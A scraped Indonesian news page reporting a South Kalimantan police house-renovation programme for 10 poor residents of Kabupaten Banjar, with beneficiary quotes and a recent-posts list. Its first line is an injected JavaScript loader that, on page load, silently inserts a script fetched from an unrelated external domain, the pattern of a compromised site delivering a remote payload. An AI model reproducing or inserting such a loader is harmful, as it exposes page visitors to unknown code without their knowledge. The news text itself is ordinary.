(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

10 Warga Tak Mampu Terima Program Bedah Rumah Polda Kalsel


KANALKALIMANTAN.COM, MARTAPURA – Program bedah rumah di sejumlah desa di Kabupaten Banjar sukses dilakukan Polda Kalsel bersama dengan Yayasan Lazis Assalam Fil Alamin.

Sedikitnya 10 unit bangunan rumah layak huni diberikan kepada warga kurang mampu yang ada di Kabupaten Banjar, Kalsel.

Kapolda Kalsel Irjen Pol Andi Rian Djajadi mengatakan, program bedah rumah ditujukan sebagai bentuk bantuan untuk meringankan beban hidup masyarakat kurang mampu agar dapat memiliki rumah layak huni.

“Bantuan bedah rumah diberikan kepada 10 warga kurang mampu di beberapa desa di Kabupaten Banjar, sebagai bentuk kepedulian Polri,” ucap Irjen Pol Andi Rian Djajadi.

Baca juga: HUT ke-13 Pandawa Centre Syukuran Libatkan UMKM dan PKL

Aksi kepedulian ini diresmikan pada Senin (22/5/2023), di Desa Gudang Hirang, Kecamatan Sungai Tabuk, Kabupaten Banjar.

“Semoga ini semua bisa bermanfaat. Tolong dijaga dan dirawat baik-baik rumah yang diberikan ini,” tambah Kapolda.

Kapolda Kalsel bersama Yayasan Lazis Assalam Fil Alamin dan Forkopimda Kabupaten Banjar juga menyerahkan bantuan Sembako kepada warga kurang mampu di Desa Gudang Hirang.

Di antara warga yang menerim bantuan bedah rumah ini yaitu ibu Astutik, ibu Heriyani, Marniah, Norhamsyah, M Junaidi, Suhaimi, Mbah Saliman, Mbah Markamah, ibu Juhriah, dan Mukni.

Ibu Juhriah, salah seorang warga Desa Simpang Empat mengungkap rasa syukurnya karena telah menerima program bedah rumah.

Dirinya hanya tinggal di rumah beralaskan kayu sejak tahun 1983. Di rumah itu juga Juhriah tinggal bersama anaknya kerap dilanda banjir.

Baca juga: Embarkasi Banjarmasin Berangkatkan 17 Kloter Kalsel-Kalteng, Perhatikan Barang Terlarang Dibawa

“Terima kasih atas bantuan yang diberikan karena sangat bermanfaat bagi saya yang hidup hanya bersama anak saja, selama ini hanya mengharapkan usaha dan pemberian dari anak,” ujar ibu Juhriah.

Perempuan paruh baya ini sudah sejak lama menderita sakit karena mengalami kelumpuhan pada kakinya. Sehingga untuk memenuhi kebutuhan hidupnya hanya bisa menopang dari anaknya yang bekerja sebagai buruh.

Ia tak memiliki pekerjaan tetap, kadang bekerja di kapal, sesekali juga ia menjadi pembantu rumah tangga. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

3 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

3 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

4 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

8 jam ago

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

9 jam ago

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

23 jam ago

This website uses cookies.